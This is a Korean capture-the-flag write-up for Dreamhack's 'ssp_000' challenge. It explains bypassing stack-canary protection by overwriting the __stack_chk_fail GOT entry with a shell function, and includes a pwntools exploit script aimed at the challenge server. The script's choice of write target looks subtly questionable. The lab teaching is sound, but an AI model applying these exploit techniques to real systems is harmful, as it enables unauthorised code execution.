[dreamhack] ssp_000 writeup

1. 문제

thumbnail
ssp_000

이 문제는 작동하고 있는 서비스(ssp_000)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/32

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

buf 변수에 입력을 받은 후, addrvalue에 입력을 받아서 addr이 가리키는 주소에 value값을 넣고 종료한다.


문제를 풀기위해서는 stack smashing protection에 대해서 알아야 한다. 일반적인 bof 공격이 main 주소의 리턴 주소를 덮어서 수행되다보니, 이를 막기위해서 리턴 주소 직전에 canary라고 불리는 랜덤한 값을 넣어놓는다. 이 값이 만약 bof 공격 등에 의해 변조된다면 __stack_chk_fail 함수가 실행되어 프로그램이 강제로 종료된다.

이를 우회하기 위해서는 두가지 방법이 있다.

  • canary 값을 어떻게든 leak해서 제대로 덮는 방법
  • canary 값과 상관없이 다른 취약점을 활용하는 방법

이 문제에서는 원하는 주소 addr에 원하는 값 value를 넣을 수 있는 코드가 존재하기 때문에, 이를 활용하면 될 것이다.

gdb를 통해서 main함수를 보면 원하는 주소에 원하는 값을 넣은 후에 __stack_chk_fail 함수가 존재함을 알 수 있다. 이 함수의 GOTget_shell 함수의 주소로 overwrite하면 이 함수가 실행될때 get_shell함수가 실행될 것이다.

다만, 이 함수는 canary가 변조되었을때만 실행되기 때문에 앞서 buf에 입력을 넣을 때 canary까지 덮어줘야한다. gdbmain함수를 보면 read함수가 [rbp-0x50]에 넣는 것을 볼 수 있고, 0x80만큼 입력할 수 있으므로 충분하다.

canarymain함수 마지막부분을 보면 [rbp-0x8]에 위치해서 fs:0x28과 값을 비교하는 것을 볼 수 있으므로 0x50만큼 덮어주면 canary까지 덮일 것이다.

이를 토대로 exploit을 작성하였다.

from pwn import *

p = process("./ssp_000")
p = remote("host3.dreamhack.games", 21335)
e = ELF("./ssp_000")

canary_got = e.symbols["__stack_chk_fail"]
get_shell = e.symbols["get_shell"]

payload = b''
payload += b'a' * 80

p.send(payload)

# exploit1 got overwrite
print(p.recvuntil("Addr : "))
p.sendline(str(canary_got))
print(p.recvuntil("Value : "))
p.sendline(str(get_shell))

p.interactive()

exploit을 작성하면서 좀 헷갈렸던 부분은 addrvalue에 값을 넣는 부분이었는데, 제공된 C코드를 보면 %ld 서식문자를 통해 입력을 받고 있다. 이 %ldlong 형식의 10진수 정수형이고 scanf는 문자열에서 해당 정수형을 찾을 것이기 때문에 p64()등의 함수로 감싸거나 정수형으로 입력하면 안되고, str()을 이용해서 문자열로 보내야한다.

이것 때문에 다해놓고 왜안되지…했음

해결~